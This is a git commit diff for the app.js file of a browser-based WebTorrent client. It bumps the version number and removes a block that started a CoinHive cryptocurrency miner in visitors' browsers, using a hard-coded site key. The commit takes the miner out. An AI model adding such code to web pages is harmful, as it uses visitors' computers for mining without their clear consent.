Clean up
This commit is contained in:
parent
2ffd0bfe01
commit
95b19db448
1 changed files with 1 additions and 9 deletions
10
app.js
10
app.js
|
@ -1,6 +1,6 @@
|
||||||
/* global WebTorrent, angular, moment, prompt */
|
/* global WebTorrent, angular, moment, prompt */
|
||||||
|
|
||||||
const VERSION = '0.18.1'
|
const VERSION = '1.0'
|
||||||
|
|
||||||
const trackers = ['wss://tracker.btorrent.xyz', 'wss://tracker.openwebtorrent.com']
|
const trackers = ['wss://tracker.btorrent.xyz', 'wss://tracker.openwebtorrent.com']
|
||||||
|
|
||||||
|
@ -64,14 +64,6 @@ const app = angular.module('BTorrent',
|
||||||
)
|
)
|
||||||
|
|
||||||
app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) {
|
app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) {
|
||||||
if (window.CoinHive) {
|
|
||||||
const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5})
|
|
||||||
|
|
||||||
if (!miner.isMobile() && !miner.didOptOut(3600)) {
|
|
||||||
miner.start()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let updateAll
|
let updateAll
|
||||||
$rootScope.version = VERSION
|
$rootScope.version = VERSION
|
||||||
ngNotify.config({
|
ngNotify.config({
|
||||||
|
|
Loading…
Reference in a new issue